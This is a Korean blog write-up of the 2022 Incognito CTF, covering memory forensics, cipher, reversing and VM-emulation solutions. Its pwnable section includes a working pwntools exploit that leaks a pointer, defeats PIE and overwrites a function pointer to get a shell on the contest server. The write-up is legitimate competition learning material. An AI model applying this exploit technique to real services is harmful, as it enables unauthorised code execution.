CTF Writeup

2022 Incognito CTF Writeup

LittleDev0617 2023. 3. 26. 19:26

1. Mic Check

Flag : INCO{L3t's_G0!!}

2. Forensic

1) Bondee

주어진 jpg 파일에 비밀번호로 추정되는 문자열과 하단부에 PK 포맷 파일이 있다.

 

해당 비밀번호로 zip 파일 압축 해제하면 pdf 파일이 존재한다.

Ctrl + A 로 전체 선택해보면 하단에 안 보이는 글자가 있음을 알 수 있고, 이를 복사하여 확인하면 파이썬 코드가 나온다.

number_list = [73, 78, 67, 79, 123, 105, 110, 99, 111, 95, 115, 119, 108, 117, 103, 95, 50, 48, 50, 51, 125]
text_list = []
for i in range(len(number_list)):
	text_list.append(chr(number_list[i]))
str = ''.join(text_list)
print("Flag= " + str)

Flag : INCO{inco_swlug_2023}

 

2) WOW

메모리 덤프 파일을 volatility로 분석하면 된다.

pslist로 WOW.exe 프로세스를 확인할 수 있었고 해당 프로세스의 메모리를 덤프뜬 후 문자열들을 확인해보면 플래그로 추정되는 문자열이 나온다.

Flag : INCO{m3m0ry_f0r3ns1c_1s_am4z1ng}

 

3) EZ_MemForensics

마찬가지로 volatilty로 프로세스를 확인해보면 FTK Imager, explorer 등등이 있고, 이들을 덤프 떠 문자열을 확인하거나 iehistory로 인터넷 기록을 확인해보면 FLAG.pdf 의 존재 유무를 알 수 있다.

이후 메모리 덤프에서 %PDF %%EOF 시그니쳐를 찾아 PDF를 뽑아내면 된다.

- volatility dumpfiles 플러그인이 안되어서 수작업으로 둘을 복사한 후 이어붙였다.

Flag : INCO{W3lc0mE_t0_th3_M3m0rY_F0r3nS1cs_w0r1D}

 

3. Crypto

1) I’M FINE THANK U, AND U?

ROT 19 의 마지막 문장을 이것 저것 decode 시켜보다 Affine Cipher decoder 에서 성공적으로 decode 할 수 있었다.

INCO{OMG_y0u_hav3_an_aff1n1ty_f0r_th3_aff1n3_c1ph3r}

4. Reversing

1) DoNotDebug

처음에는 Debugger 가 있으면 종료시키고, Debugger가 다시 없어져야 플래그가 제대로 나오는 프로그램을 준다.

디버거가 없는지 검사하는 부분을 모두 NOP로 패치시키고 실행하면 플래그가 나온다.

Flag : INCO{3ypassAntiCheat!!}

 

2) Stack Machine

vm = b''
with open('vm', 'rb') as f: vm = f.read()

ip = 0
sp = -1
mem = [0 for _ in range(4096)]

constants = []
operands =  []
isConstantTime = False
isOperandTime = False

while True:
    op = vm[ip]
    ip += 1

    if op == 41:
        print(f'mem[++sp] = { int.from_bytes(vm[ip:ip+8],"little") }')

        if not isConstantTime:
            isOperandTime = False
            constants.append([])
        constants[-1].append(int.from_bytes(vm[ip:ip+8],"little"))
        isConstantTime = True
        #mem[sp + 1] = int.from_bytes(vm[ip:ip+8],'little')
        ip += 8
        sp += 1
    elif op == 48:
        print(f'mem[sp - 1] = mem[sp] != mem[sp - 1]')
        #mem[sp - 1] = mem[sp] != mem[sp - 1]
        sp -= 1
    elif op == 54:
        print(f'putchar(mem[sp])')
        #print(chr(mem[sp]),end='')
        sp -= 1
    elif op == 161:
        print(f'EXIT { int.from_bytes(vm[ip:ip+8],"little") }')
        print('EXIT', int.from_bytes(vm[ip:ip+8],'little'))
        break
    elif op == 184 or op == 202:
        if not isOperandTime:
            isConstantTime = False
            operands.append([])
        operands[-1].append("+" if op == 184 else "^")
        isOperandTime = True
        print(f'mem[sp - 1] { "+" if op == 184 else "^"}= mem[sp]')
        #mem[sp - 1] += mem[sp]
        sp -= 1
        #mem[sp - 1] ^= mem[sp]
    elif op == 213:
        print(f'JMP { ip + int.from_bytes(vm[ip:ip+8],"little") } if mem[sp--]')
        #if mem[sp]:
        #    ip += int.from_bytes(vm[ip:ip+8], 'little')
        ip += 8
        sp -= 1
    elif op == 219:
        isConstantTime = False
        print(f'mem[++sp] = getchar()')
        #mem[sp + 1] = input()[0]
        sp += 1

result = []
for i in range(len(operands)):
    tmp = constants[-1][i]
    for c, o in zip(constants[-2-i], reversed(operands[-i-1])):
        #print(tmp, operands[-i-1][j],constants[-2-i][j],end=' ')
        if o == '+':
            tmp -= c
        else:
            tmp ^= c
    tmp &= 0xff
    result.append(tmp)
result.reverse()
print(result)
print(bytes(result).decode())

 

 

 

위와 같이 한글자 한글자 입력받을 때마다 특정 상수들과 + ^ 연산을 해준 뒤에

마지막에 특정 상수와 비교하는 구조임을 확인할 수 있다.

각 글자마다 상수와 연산을 저장해둔 뒤에, 비교하는 상수와 거꾸로 연산하여(+ 는 -, ^ 는 ^) 역산해주면 답이 나온다.

ex : ((((x + A) ^ B) ^ C) + D) == E, x = ((((E - D) ^ C) ^ B) - A)

Flag : INCO{94a7d6671aab2c62db0760e639c5217781030e2f}

 

3) NAND

길이는 40글자에 아래 글자들만 입력해야 한다.

이후 한글자 한글자 연산을 한 후 0이 아니면 통과하는 구문이 이어진다.

한 글자당 가능한 경우가 37가지밖에 되지 않고, 각 자리의 글자가 독립적으로 연산을 거치고 검사하기 때문에 한글자씩 브포때릴 수 있다.

test.c
0.02MB

Flag : y34h_3v3ry_op3ra7ion_w1th_on1y_nand_0v0_

 

5. Web

1) Crawl

1 부터 700까지 중에 진또배기를 찾아야한다.

Flag : INCO{It_1s_F1Ag_tHank_yOu3}


6. Pwnable

1) MZ Protocol

function pointer LEAK -> get PIE base -> overwrite function pointer 

from pwn import process, p64, remote

#context.log_level = 'debug'
#p = process('./mz_protocol')
p = remote('ctf.incognito.kr', 10001)
packet2 = b'MZ'
packet2 += b'\x00\x0a'
packet2 += b'A' * (32 - len(packet2))

p.sendafter(b': ', packet2)
p.send(b'\x77' + b'\x00' * 9)

p.sendlineafter(b':', b'0')

p.recvuntil(b'ptr+0x0038')
leak = int(p.recvuntil(b'|\n').decode().split('|')[2],16)
p.recvuntil(b'ptr+0x0040')
leak2 = int(p.recvuntil(b'|\n').decode().split('|')[2],16)
pie = leak2 - 0x18a2

packet = b'MZ'
packet += b'\x00\x50'
packet += b'A' * (32 - len(packet))

p.sendafter(b': ', packet)
p.send(b'\x00' * 50 + b'\x01' + b'\x00' * 5 + p64(leak) + p64(pie + 0x143e))
p.sendlineafter(b':', b'1')
p.interactive()

Flag : INCO{real_re@l_r3al_re4l_r341_fl4g!}

'CTF Writeup' 카테고리의 다른 글

2023 Codegate UNIV division writeup  (0) 2023.06.18
Defcon 2023 Qualifier - kkkkklik writeup  (0) 2023.05.31
2023 ACSC CTF Writeup - warmup + ngo  (0) 2023.02.26
2022 Iris CTF  (0) 2023.01.08
Dreamhack Christmas CTF 2022 Writeup  (1) 2022.12.24